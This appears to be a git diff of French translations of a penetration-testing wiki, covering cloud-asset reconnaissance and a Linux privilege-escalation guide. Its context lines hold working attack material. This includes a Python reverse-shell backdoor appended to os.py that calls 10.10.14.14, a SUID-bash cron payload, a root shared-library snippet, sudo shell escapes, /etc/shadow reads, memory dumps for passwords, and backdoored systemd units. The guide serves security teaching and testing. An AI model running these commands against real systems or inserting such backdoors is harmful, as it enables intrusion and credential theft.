||||
@ -501,7 +502,7 @@ De plus, vous pourriez ensuite utiliser [**eyeballer**](https://github.com/Bisho
|
||||
|
||||
## Actifs Cloud Publics
|
||||
|
||||
Pour trouver des actifs cloud potentiels appartenant à une entreprise, vous devriez **commencer par une liste de mots-clés qui identifient cette entreprise**. Par exemple, pour une entreprise de crypto, vous pourriez utiliser des mots tels que : `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
Pour trouver des actifs cloud potentiels appartenant à une entreprise, vous devez **commencer par une liste de mots-clés qui identifient cette entreprise**. Par exemple, pour une entreprise de crypto, vous pourriez utiliser des mots tels que : `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
|
||||
Vous aurez également besoin de listes de mots de **mots courants utilisés dans les buckets** :
|
||||
|
||||
@ -552,7 +553,7 @@ Les fuites de credentials sont liées aux hacks d'entreprises où **des informat
|
||||
Les credentials et les API peuvent être divulgués dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise github.\
|
||||
Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement sur eux.
|
||||
|
||||
**Leakos** peut également être utilisé pour exécuter **gitleaks** contre tout le **texte** fourni **URLs passées** à celui-ci, car parfois **les pages web contiennent également des secrets**.
|
||||
**Leakos** peut également être utilisé pour exécuter **gitleaks** contre tout le **texte** fourni par les **URLs passées** à celui-ci, car parfois **les pages web contiennent également des secrets**.
|
||||
|
||||
#### Dorks Github
|
||||
|
||||
@ -595,7 +596,7 @@ Il existe également des services gratuits qui vous permettent de **scanner des
|
||||
|
||||
La **majorité des vulnérabilités** trouvées par les chasseurs de bugs se trouvent dans les **applications web**, donc à ce stade, je voudrais parler d'une **méthodologie de test d'application web**, et vous pouvez [**trouver cette information ici**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Je veux également faire une mention spéciale à la section [**Outils de scanners automatiques open source**](../../network-services-pentesting/pentesting-web/#automatic-scanners), car, même si vous ne devez pas vous attendre à ce qu'ils trouvent des vulnérabilités très sensibles, ils sont utiles pour les intégrer dans des **flux de travail pour avoir des informations web initiales.**
|
||||
Je veux également faire une mention spéciale à la section [**Outils de scanners automatisés open source**](../../network-services-pentesting/pentesting-web/#automatic-scanners), car, même si vous ne devez pas vous attendre à ce qu'ils trouvent des vulnérabilités très sensibles, ils sont utiles pour les intégrer dans des **flux de travail pour obtenir des informations web initiales.**
|
||||
|
||||
## Récapitulation
|
||||
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## Informations système
|
||||
|
||||
### Infos sur le système d'exploitation
|
||||
### Informations sur le système d'exploitation
|
||||
|
||||
Commençons par acquérir des connaissances sur le système d'exploitation en cours d'exécution
|
||||
Commençons à acquérir des connaissances sur le système d'exploitation en cours d'exécution
|
||||
```bash
|
||||
(cat /proc/version || uname -a ) 2>/dev/null
|
||||
lsb_release -a 2>/dev/null # old, not by default on many systems
|
||||
@ -18,7 +18,7 @@ Si vous **avez des permissions d'écriture sur un dossier à l'intérieur de la
|
||||
```bash
|
||||
echo $PATH
|
||||
```
|
||||
### Env info
|
||||
### Infos sur l'environnement
|
||||
|
||||
Informations intéressantes, mots de passe ou clés API dans les variables d'environnement ?
|
||||
```bash
|
||||
@ -26,7 +26,7 @@ Informations intéressantes, mots de passe ou clés API dans les variables d'env
|
||||
```
|
||||
### Exploits du noyau
|
||||
|
||||
Vérifiez la version du noyau et s'il existe un exploit qui peut être utilisé pour élever les privilèges.
|
||||
Vérifiez la version du noyau et s'il existe un exploit pouvant être utilisé pour élever les privilèges.
|
||||
```bash
|
||||
cat /proc/version
|
||||
uname -a
|
||||
@ -150,13 +150,13 @@ Vérifiez également si **un compilateur est installé**. Cela est utile si vous
|
||||
```
|
||||
### Logiciels vulnérables installés
|
||||
|
||||
Vérifiez la **version des paquets et services installés**. Il pourrait y avoir une ancienne version de Nagios (par exemple) qui pourrait être exploitée pour élever les privilèges…\
|
||||
Vérifiez la **version des paquets et services installés**. Il se peut qu'il y ait une ancienne version de Nagios (par exemple) qui pourrait être exploitée pour élever les privilèges…\
|
||||
Il est recommandé de vérifier manuellement la version des logiciels installés les plus suspects.
|
||||
```bash
|
||||
dpkg -l #Debian
|
||||
rpm -qa #Centos
|
||||
```
|
||||
Si vous avez un accès SSH à la machine, vous pouvez également utiliser **openVAS** pour vérifier les logiciels obsolètes et vulnérables installés sur la machine.
|
||||
Si vous avez accès SSH à la machine, vous pouvez également utiliser **openVAS** pour vérifier les logiciels obsolètes et vulnérables installés sur la machine.
|
||||
|
||||
> [!NOTE] > _Notez que ces commandes afficheront beaucoup d'informations qui seront principalement inutiles, il est donc recommandé d'utiliser des applications comme OpenVAS ou similaires qui vérifieront si une version de logiciel installée est vulnérable à des exploits connus._
|
||||
|
||||
@ -168,7 +168,7 @@ ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Vérifiez toujours les [**débogueurs electron/cef/chromium**] en cours d'exécution, vous pourriez en abuser pour élever vos privilèges](electron-cef-chromium-debugger-abuse.md). **Linpeas** les détecte en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\
|
||||
Toujours vérifier les [**débogueurs electron/cef/chromium**] en cours d'exécution, vous pourriez en abuser pour élever vos privilèges](electron-cef-chromium-debugger-abuse.md). **Linpeas** les détecte en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\
|
||||
Vérifiez également **vos privilèges sur les binaires des processus**, peut-être pouvez-vous écraser quelqu'un.
|
||||
|
||||
### Surveillance des processus
|
||||
@ -215,7 +215,7 @@ done
|
||||
```
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
Pour un identifiant de processus donné, **maps montre comment la mémoire est mappée dans l'espace d'adresses virtuelles de ce processus** ; il montre également les **permissions de chaque région mappée**. Le **fichier pseudo mem expose la mémoire des processus elle-même**. À partir du fichier **maps**, nous savons quelles **régions de mémoire sont lisibles** et leurs décalages. Nous utilisons ces informations pour **chercher dans le fichier mem et vider toutes les régions lisibles** dans un fichier.
|
||||
Pour un identifiant de processus donné, **maps montre comment la mémoire est mappée dans l'espace d'adresses virtuelles de ce processus** ; il montre également les **permissions de chaque région mappée**. Le **fichier pseudo mem expose la mémoire des processus elle-même**. À partir du fichier **maps**, nous savons quelles **régions de mémoire sont lisibles** et leurs décalages. Nous utilisons ces informations pour **chercher dans le fichier mem et déverser toutes les régions lisibles** dans un fichier.
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
@ -290,14 +290,14 @@ strings *.dump | grep -i password
|
||||
|
||||
L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en texte clair depuis la mémoire** et depuis certains **fichiers bien connus**. Il nécessite des privilèges root pour fonctionner correctement.
|
||||
|
||||
| Fonctionnalité | Nom du Processus |
|
||||
| Fonctionnalité | Nom du processus |
|
||||
| --------------------------------------------------- | --------------------- |
|
||||
| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password |
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Connexions FTP Actives) | vsftpd |
|
||||
| Apache2 (Sessions HTTP Basic Auth Actives) | apache2 |
|
||||
| OpenSSH (Sessions SSH Actives - Utilisation de Sudo) | sshd: |
|
||||
| VSFTPd (Connexions FTP actives) | vsftpd |
|
||||
| Apache2 (Sessions HTTP Basic Auth actives) | apache2 |
|
||||
| OpenSSH (Sessions SSH actives - Utilisation de Sudo) | sshd: |
|
||||
|
||||
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
|
||||
```bash
|
||||
@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
/tmp/bash -p
|
||||
```
|
||||
Si le script exécuté par root utilise un **répertoire où vous avez un accès complet**, il pourrait être utile de supprimer ce dossier et **de créer un dossier de symlink vers un autre** servant un script contrôlé par vous.
|
||||
Si le script exécuté par root utilise un **répertoire où vous avez un accès total**, il pourrait être utile de supprimer ce dossier et **de créer un dossier de symlink vers un autre** servant un script contrôlé par vous.
|
||||
```bash
|
||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
@ -380,12 +380,12 @@ Il est possible de créer un cronjob **en mettant un retour chariot après un co
|
||||
|
||||
### Fichiers _.service_ modifiables
|
||||
|
||||
Vérifiez si vous pouvez écrire dans un fichier `.service`, si c'est le cas, vous **pourriez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (vous devrez peut-être attendre que la machine redémarre).\
|
||||
Vérifiez si vous pouvez écrire dans un fichier `.service`, si c'est le cas, vous **pourriez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (peut-être devrez-vous attendre que la machine redémarre).\
|
||||
Par exemple, créez votre backdoor à l'intérieur du fichier .service avec **`ExecStart=/tmp/script.sh`**
|
||||
|
||||
### Binaires de service modifiables
|
||||
|
||||
Gardez à l'esprit que si vous avez **des permissions d'écriture sur des binaires exécutés par des services**, vous pouvez les remplacer par des backdoors, de sorte que lorsque les services sont réexécutés, les backdoors seront exécutées.
|
||||
Gardez à l'esprit que si vous avez **des permissions d'écriture sur des binaires exécutés par des services**, vous pouvez les changer pour des backdoors afin que lorsque les services soient réexécutés, les backdoors soient exécutées.
|
||||
|
||||
### systemd PATH - Chemins relatifs
|
||||
|
||||
@ -399,27 +399,27 @@ ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
Ensuite, créez un **exécutable** avec le **même nom que le binaire du chemin relatif** à l'intérieur du dossier PATH de systemd dans lequel vous pouvez écrire, et lorsque le service est demandé pour exécuter l'action vulnérable (**Démarrer**, **Arrêter**, **Recharger**), votre **porte dérobée sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter des services, mais vérifiez si vous pouvez utiliser `sudo -l`).
|
||||
Ensuite, créez un **exécutable** avec le **même nom que le binaire du chemin relatif** à l'intérieur du dossier PATH de systemd dans lequel vous pouvez écrire, et lorsque le service est demandé pour exécuter l'action vulnérable (**Démarrer**, **Arrêter**, **Recharger**), votre **backdoor sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter des services, mais vérifiez si vous pouvez utiliser `sudo -l`).
|
||||
|
||||
**En savoir plus sur les services avec `man systemd.service`.**
|
||||
|
||||
## **Minuteurs**
|
||||
|
||||
Les **minuteurs** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` qui contrôlent les fichiers ou événements `**.service**`. Les **minuteurs** peuvent être utilisés comme une alternative à cron car ils ont un support intégré pour les événements de temps calendaire et les événements de temps monotoniques et peuvent être exécutés de manière asynchrone.
|
||||
Les **minuteurs** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` qui contrôlent les fichiers `**.service**` ou les événements. Les **minuteurs** peuvent être utilisés comme une alternative à cron car ils ont un support intégré pour les événements de temps calendaire et les événements de temps monotone et peuvent être exécutés de manière asynchrone.
|
||||
|
||||
Vous pouvez énumérer tous les minuteries avec :
|
||||
```bash
|
||||
systemctl list-timers --all
|
||||
```
|
||||
### Minuteries modifiables
|
||||
### Timers modifiables
|
||||
|
||||
Si vous pouvez modifier un minuteries, vous pouvez le faire exécuter certaines instances de systemd.unit (comme un `.service` ou un `.target`)
|
||||
Si vous pouvez modifier un minuteur, vous pouvez le faire exécuter certaines instances de systemd.unit (comme un `.service` ou un `.target`)
|
||||
```bash
|
||||
Unit=backdoor.service
|
||||
```
|
||||
Dans la documentation, vous pouvez lire ce qu'est l'unité :
|
||||
|
||||
> L'unité à activer lorsque ce minuteur expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut est un service qui a le même nom que l'unité de minuteur, sauf pour le suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité qui est activée et le nom de l'unité du minuteur soient nommés identiquement, sauf pour le suffixe.
|
||||
> L'unité à activer lorsque ce minuteur expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut est un service qui a le même nom que l'unité de minuteur, sauf pour le suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité qui est activée et le nom de l'unité du minuteur soient nommés de manière identique, sauf pour le suffixe.
|
||||
|
||||
Par conséquent, pour abuser de cette permission, vous devez :
|
||||
|
||||
@ -439,7 +439,7 @@ Notez que le **timer** est **activé** en créant un lien symbolique vers celui-
|
||||
|
||||
## Sockets
|
||||
|
||||
Les Unix Domain Sockets (UDS) permettent la **communication entre processus** sur les mêmes machines ou différentes dans des modèles client-serveur. Ils utilisent des fichiers de descripteur Unix standard pour la communication inter-ordinateur et sont configurés via des fichiers `.socket`.
|
||||
Les Unix Domain Sockets (UDS) permettent la **communication entre processus** sur les mêmes machines ou différentes dans des modèles client-serveur. Ils utilisent des fichiers de descripteur Unix standard pour la communication inter-ordinateurs et sont configurés via des fichiers `.socket`.
|
||||
|
||||
Les sockets peuvent être configurés à l'aide de fichiers `.socket`.
|
||||
|
||||
@ -687,14 +687,14 @@ Si vous **connaissez un mot de passe** de l'environnement, **essayez de vous con
|
||||
|
||||
### Su Brute
|
||||
|
||||
Si vous ne vous souciez pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur l'ordinateur, vous pouvez essayer de forcer le mot de passe de l'utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
Si vous ne vous souciez pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur l'ordinateur, vous pouvez essayer de forcer le mot de passe des utilisateurs en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de forcer le mot de passe des utilisateurs.
|
||||
|
||||
## Abus de PATH écrivable
|
||||
|
||||
### $PATH
|
||||
|
||||
Si vous constatez que vous pouvez **écrire dans un dossier du $PATH**, vous pourriez être en mesure d'escalader les privilèges en **créant une porte dérobée dans le dossier écrivable** avec le nom d'une commande qui va être exécutée par un autre utilisateur (idéalement root) et qui **n'est pas chargée depuis un dossier situé avant** votre dossier écrivable dans le $PATH.
|
||||
Si vous constatez que vous pouvez **écrire dans un dossier du $PATH**, vous pourriez être en mesure d'escalader les privilèges en **créant une porte dérobée dans le dossier écrivable** avec le nom d'une commande qui va être exécutée par un autre utilisateur (root idéalement) et qui **n'est pas chargée depuis un dossier situé avant** votre dossier écrivable dans le $PATH.
|
||||
|
||||
### SUDO et SUID
|
||||
|
||||
@ -769,7 +769,7 @@ Cette technique peut également être utilisée si un **suid** binaire **exécut
|
||||
|
||||
### Binaire SUID avec chemin de commande
|
||||
|
||||
Si le binaire **suid** **exécute une autre commande en spécifiant le chemin**, alors, vous pouvez essayer d'**exporter une fonction** nommée comme la commande que le fichier suid appelle.
|
||||
Si le **suid** binaire **exécute une autre commande en spécifiant le chemin**, alors, vous pouvez essayer d'**exporter une fonction** nommée comme la commande que le fichier suid appelle.
|
||||
|
||||
Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_, vous devez essayer de créer la fonction et de l'exporter :
|
||||
```bash
|
||||
@ -804,7 +804,7 @@ setuid(0);
|
||||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
Puis **compilez-le** en utilisant :
|
||||
Ensuite, **compilez-le** en utilisant :
|
||||
```bash
|
||||
cd /tmp
|
||||
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
@ -901,9 +901,13 @@ Le projet collecte des fonctions légitimes de binaires Unix qui peuvent être a
|
||||
> strace -o /dev/null /bin/sh\
|
||||
> sudo awk 'BEGIN {system("/bin/sh")}'
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfoargs.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfoargs.github.io/
|
||||
{{#endref}}
|
||||
|
||||
### FallOfSudo
|
||||
|
||||
@ -942,7 +946,7 @@ sudo su
|
||||
```
|
||||
### /var/run/sudo/ts/\<Username>
|
||||
|
||||
Si vous avez **des permissions d'écriture** dans le dossier ou sur l'un des fichiers créés à l'intérieur du dossier, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **créer un jeton sudo pour un utilisateur et un PID**.\
|
||||
Si vous avez **des permissions d'écriture** dans le dossier ou sur l'un des fichiers créés à l'intérieur du dossier, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **créer un token sudo pour un utilisateur et un PID**.\
|
||||
Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez **obtenir des privilèges sudo** sans avoir besoin de connaître le mot de passe en faisant :
|
||||
```bash
|
||||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||||
@ -950,7 +954,7 @@ Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et
|
||||
### /etc/sudoers, /etc/sudoers.d
|
||||
|
||||
Le fichier `/etc/sudoers` et les fichiers à l'intérieur de `/etc/sudoers.d` configurent qui peut utiliser `sudo` et comment. Ces fichiers **par défaut ne peuvent être lus que par l'utilisateur root et le groupe root**.\
|
||||
**Si** vous pouvez **lire** ce fichier, vous pourriez être en mesure de **obtenir des informations intéressantes**, et si vous pouvez **écrire** dans n'importe quel fichier, vous serez en mesure de **escalader les privilèges**.
|
||||
**Si** vous pouvez **lire** ce fichier, vous pourriez être en mesure d'**obtenir des informations intéressantes**, et si vous pouvez **écrire** dans n'importe quel fichier, vous serez en mesure d'**escalader les privilèges**.
|
||||
```bash
|
||||
ls -l /etc/sudoers /etc/sudoers.d/
|
||||
ls -ld /etc/sudoers.d/
|
||||
@ -969,13 +973,13 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
|
||||
```
|
||||
### DOAS
|
||||
|
||||
Il existe des alternatives au binaire `sudo` telles que `doas` pour OpenBSD, n'oubliez pas de vérifier sa configuration à `/etc/doas.conf`
|
||||
Il existe des alternatives au binaire `sudo` telles que `doas` pour OpenBSD, n'oubliez pas de vérifier sa configuration dans `/etc/doas.conf`
|
||||
```
|
||||
permit nopass demo as root cmd vim
|
||||
```
|
||||
### Sudo Hijacking
|
||||
|
||||
Si vous savez qu'un **utilisateur se connecte généralement à une machine et utilise `sudo`** pour élever ses privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit exécuté.
|
||||
Si vous savez qu'un **utilisateur se connecte généralement à une machine et utilise `sudo`** pour élever les privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit exécuté.
|
||||
|
||||
Notez que si l'utilisateur utilise un shell différent (pas bash), vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
|
||||
|
||||
@ -1002,7 +1006,7 @@ Le fichier `/etc/ld.so.conf` indique **d'où proviennent les fichiers de configu
|
||||
|
||||
Cela signifie que les fichiers de configuration de `/etc/ld.so.conf.d/*.conf` seront lus. Ces fichiers de configuration **pointent vers d'autres dossiers** où **les bibliothèques** vont être **recherchées**. Par exemple, le contenu de `/etc/ld.so.conf.d/libc.conf` est `/usr/local/lib`. **Cela signifie que le système recherchera des bibliothèques à l'intérieur de `/usr/local/lib`**.
|
||||
|
||||
Si pour une raison quelconque **un utilisateur a des permissions d'écriture** sur l'un des chemins indiqués : `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, tout fichier à l'intérieur de `/etc/ld.so.conf.d/` ou tout dossier dans le fichier de configuration à l'intérieur de `/etc/ld.so.conf.d/*.conf`, il peut être en mesure d'escalader les privilèges.\
|
||||
Si pour une raison quelconque **un utilisateur a des permissions d'écriture** sur l'un des chemins indiqués : `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, tout fichier à l'intérieur de `/etc/ld.so.conf.d/` ou tout dossier dans le fichier de configuration à l'intérieur de `/etc/ld.so.conf.d/*.conf`, il pourrait être en mesure d'escalader les privilèges.\
|
||||
Jetez un œil à **comment exploiter cette mauvaise configuration** dans la page suivante :
|
||||
|
||||
{{#ref}}
|
||||
@ -1154,10 +1158,10 @@ Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci :
|
||||
Host example.com
|
||||
ForwardAgent yes
|
||||
```
|
||||
Remarquez que si `Host` est `*`, chaque fois que l'utilisateur passe à une autre machine, cet hôte pourra accéder aux clés (ce qui est un problème de sécurité).
|
||||
Remarquez que si `Host` est `*`, chaque fois que l'utilisateur passe à une machine différente, cet hôte pourra accéder aux clés (ce qui est un problème de sécurité).
|
||||
|
||||
Le fichier `/etc/ssh_config` peut **remplacer** ces **options** et autoriser ou interdire cette configuration.\
|
||||
Le fichier `/etc/sshd_config` peut **autoriser** ou **interdire** le transfert de l'agent ssh avec le mot-clé `AllowAgentForwarding` (par défaut, c'est autorisé).
|
||||
Le fichier `/etc/sshd_config` peut **autoriser** ou **interdire** le transfert de l'agent ssh avec le mot-clé `AllowAgentForwarding` (la valeur par défaut est autorisée).
|
||||
|
||||
Si vous constatez que le Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être en mesure de l'exploiter pour élever vos privilèges** :
|
||||
|
||||
@ -1173,18 +1177,18 @@ Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont **des scri
|
||||
```bash
|
||||
ls -l /etc/profile /etc/profile.d/
|
||||
```
|
||||
Si un script de profil étrange est trouvé, vous devez le vérifier pour **des détails sensibles**.
|
||||
Si un script de profil étrange est trouvé, vous devez vérifier s'il contient des **détails sensibles**.
|
||||
|
||||
### Fichiers Passwd/Shadow
|
||||
|
||||
Selon le système d'exploitation, les fichiers `/etc/passwd` et `/etc/shadow` peuvent avoir un nom différent ou il peut y avoir une sauvegarde. Par conséquent, il est recommandé de **les trouver tous** et de **vérifier si vous pouvez les lire** pour voir **s'il y a des hachages** à l'intérieur des fichiers :
|
||||
Selon le système d'exploitation, les fichiers `/etc/passwd` et `/etc/shadow` peuvent avoir un nom différent ou il peut y avoir une sauvegarde. Il est donc recommandé de **les trouver tous** et de **vérifier si vous pouvez les lire** pour voir **s'il y a des hachages** à l'intérieur des fichiers :
|
||||
```bash
|
||||
#Passwd equivalent files
|
||||
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
#Shadow equivalent files
|
||||
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
|
||||
```
|
||||
Dans certaines occasions, vous pouvez trouver des **hashs de mot de passe** dans le fichier `/etc/passwd` (ou équivalent).
|
||||
Dans certaines occasions, vous pouvez trouver des **hashes de mot de passe** à l'intérieur du fichier `/etc/passwd` (ou équivalent)
|
||||
```bash
|
||||
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
```
|
||||
@ -1223,7 +1227,7 @@ ExecStart=/path/to/backdoor
|
||||
User=root
|
||||
Group=root
|
||||
```
|
||||
Votre backdoor sera exécuté la prochaine fois que tomcat sera démarré.
|
||||
Votre backdoor sera exécutée la prochaine fois que tomcat sera démarré.
|
||||
|
||||
### Vérifier les Dossiers
|
||||
|
||||
@ -1264,7 +1268,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam
|
||||
```bash
|
||||
find / -type f -iname ".*" -ls 2>/dev/null
|
||||
```
|
||||
### **Scripts/Binaires dans le PATH**
|
||||
### **Scripts/Binaires dans PATH**
|
||||
```bash
|
||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
|
||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
|
||||
@ -1288,7 +1292,7 @@ Lisez le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalati
|
||||
### Journaux
|
||||
|
||||
Si vous pouvez lire les journaux, vous pourriez être en mesure de trouver **des informations intéressantes/confidentielles à l'intérieur**. Plus le journal est étrange, plus il sera intéressant (probablement).\
|
||||
De plus, certains journaux d'**audit** mal configurés (backdoorés ?) peuvent vous permettre de **enregistrer des mots de passe** à l'intérieur des journaux d'audit comme expliqué dans ce post : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
De plus, certains journaux d'**audit** mal configurés (backdoorés ?) peuvent vous permettre de **enregistrer des mots de passe** à l'intérieur des journaux d'audit comme expliqué dans cet article : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
```bash
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
@ -1315,9 +1319,9 @@ Je ne vais pas lister ici comment faire tout cela, mais si vous êtes intéress
|
||||
|
||||
### Détournement de bibliothèque Python
|
||||
|
||||
Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier des bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer une porte dérobée (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py).
|
||||
Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier des bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer un backdoor (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py).
|
||||
|
||||
Pour **insérer une porte dérobée dans la bibliothèque**, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez IP et PORT) :
|
||||
Pour **insérer un backdoor dans la bibliothèque**, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez IP et PORT) :
|
||||
```python
|
||||
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
|
||||
```
|
||||
@ -1387,20 +1391,20 @@ cisco-vmanage.md
|
||||
|
||||
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
|
||||
|
||||
## Outils Privesc Linux/Unix
|
||||
## Outils de Privesc Linux/Unix
|
||||
|
||||
### **Meilleur outil pour rechercher des vecteurs d'escalade de privilèges locaux Linux :** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
|
||||
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
|
||||
**Vérification Privesc Unix :** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
|
||||
**LinEnum** : [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
|
||||
**Enumy** : [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
|
||||
**Vérification de Privesc Unix :** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
|
||||
**Vérificateur de privilèges Linux :** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
|
||||
**BeeRoot :** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
|
||||
**Kernelpop :** Énumérer les vulnérabilités du noyau dans linux et MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Mestaploit :** _**multi/recon/local_exploit_suggester**_\
|
||||
**Suggesteur d'exploits Linux :** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
**EvilAbigail (accès physique) :** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
